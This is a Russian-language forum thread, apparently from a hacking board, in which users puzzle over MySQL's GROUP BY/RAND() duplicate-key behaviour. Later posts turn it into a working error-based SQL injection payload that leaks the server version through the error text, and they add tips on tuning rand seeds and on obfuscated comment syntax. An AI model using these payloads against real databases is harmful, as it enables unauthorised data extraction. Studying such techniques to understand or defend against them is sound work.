А как эта конструкция работает: SELECT COUNT(*) FROM ( SELECT 1 UNION SELECT 2 UNION SELECT 3 )x GROUP BY CONCAT(MID(VERSION(), 1, 63), FLOOR(RAND(0)*2)) типо как происходит план запроса ? В том смысле у меня вообще групп бай в выражениях весь игнорируется кроме этого....
ну ахуеть, назвал всех школьниками и просишь объяснить что там у тебя в group by игнорируется? подзапросы в нем работают Code: select 1 from(select 1)x group by (select 1); ну и ничего мистического не вижу что в твоем примере отрабатывает concat, а почему селектит версию базы а не COUNT(*)? так наверно потому что запрос падает с ошибкой и это внезапно называется error-based вектор удивительно какие запросы может переваривать мускул Code: select@x,/*!{$from(select(@x:=version()))}*/,0.3from(select~@)x; +------+--------------------------------+-----+ | @x | {$from(select(@x:=version()))} | 0.3 | +------+--------------------------------+-----+ | 1 | 5.6.31 | 0.3 | +------+--------------------------------+-----+ если ты такой дядька, то может знаешь сишку, откроешь сорцы парсера да расскажешь нам сам?
вообще мне тоже не понятно почему работает именно так, count в некоторых случаях при использовании rand делает несколько выборок, что как то странно Code: select count(*) from(select 1 union select 3 union select 9)x group by concat('qqq',':',rand(0)*2); +----------+ | count(*) | +----------+ | 1 | | 1 | | 1 | +----------+ 3 rows in set (0.00 sec) видимо натыкается на использование одной и той же колонки, судя по ошибке, правда не понятно почему он не падает в примере выше, а только при использовании floor Code: select count(*) from(select 1 union select 3 union select 9)x group by concat('qqq',':',floor(rand(0)*2)); ERROR 1062 (23000): Duplicate entry 'qqq:1' for key 'group_key' что то явно хотели оптимизировать при вычислении запроса и х*й угадали походу
похоже если какую то часть конструкции не удаётся высчитать сразу, то он таки прогоняет запрос для каждого union Code: select count(*) from(select 1 union select 2 union select 3)x group by (rand(1)*2); +----------+ | count(*) | +----------+ | 1 | | 1 | | 1 | +----------+ 3 rows in set (0.00 sec) ну и число похоже должно быть не целочисленное Code: select count(*) from(select 'z' union select 'x' union select 'e')x group by (md5(rand(1)*2) + 1); +----------+ | count(*) | +----------+ | 2 | | 1 | +----------+ 2 rows in set (0.00 sec) select count(*) from(select 'z' union select 'x' union select 'e')x group by (md5(rand(0)*2) + 1); ERROR 1062 (23000): Duplicate entry '1' for key 'group_key' select (md5(rand(1)*2) + 1); +----------------------+ | (md5(rand(1)*2) + 1) | +----------------------+ | 4 | +----------------------+ 1 row in set (0.00 sec) select (md5(rand(0)*2) + 1); +------------------------+ | (md5(rand(0)*2) + 1) | +------------------------+ | 1.7976931348623157e308 | +------------------------+ 1 row in set (0.00 sec) думаю никто не расстроится если я тут пофлужу ------------------------------ Code: select md5(rand(0)*2); +----------------------------------+ | md5(rand(0)*2) | +----------------------------------+ | 810e2137cdf4bde97083b021c6b34a09 | +----------------------------------+ 0e кастование типов, ноги float растут отсюда, не забыть найти линк ---------------------------------------------- Code: > select count(*) from(select 'z' union select 'x' union select 'e')x group by concat(version(),':',(md5(rand(19)*2) + 1)); ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key' > select (md5(rand(19)*2) + 1); +-----------------------+ | (md5(rand(19)*2) + 1) | +-----------------------+ | 977882091 | +-----------------------+ 1 row in set (0.00 sec) мде ------------------------------------------------- Code: > select count(*) from(select 'z' union select 'x' union select 'e')x group by concat(version(),':',(md5(rand(19)*2) + 999)); ERROR 1062 (23000): Duplicate entry '5.6.31:999' for key 'group_key' 5.6.31:1 .... 5.6.31:999 куда девается (md5(rand(19)*2)
стопудово это с rand накосячили, пофазил другие функции, такого поведения нет рабочий вектор 'Duplicate entry' для error-based > select * from users where id=1 or (select count(*)from(select(1)union(select(2)))x group by concat(/*my*/(select version())/*select*/,':',(md5(rand(19)*2) + 1))); ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key' > select * from users where id=1 or (select count(*)from(select(1)union(select(2)))x group by concat(/*my*/(select version())/*select*/,':',(md5(rand(0)*2) + 1))); ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key' если получаем "Subquery returns more than 1 row" поиграться с числами для rand, rand(0)/rand(6)/rand(19) , можно юзать floor, но там тоже магия с числами, у меня завелось только с floor(rand(12)*2)) нафига не знаю, уверен где нибудь в недрах рдота или ачата это уже описано, хотел пофлудить ------------- ну да это классический error-based, wtf почему не решили пофиксить ипать сколько лет уже прошло
А чёйта мой топег про MySQL перенесли из Раздела "MySQL" в Вэб-уязвимости? Мне та в принципе пох, но просто интересно...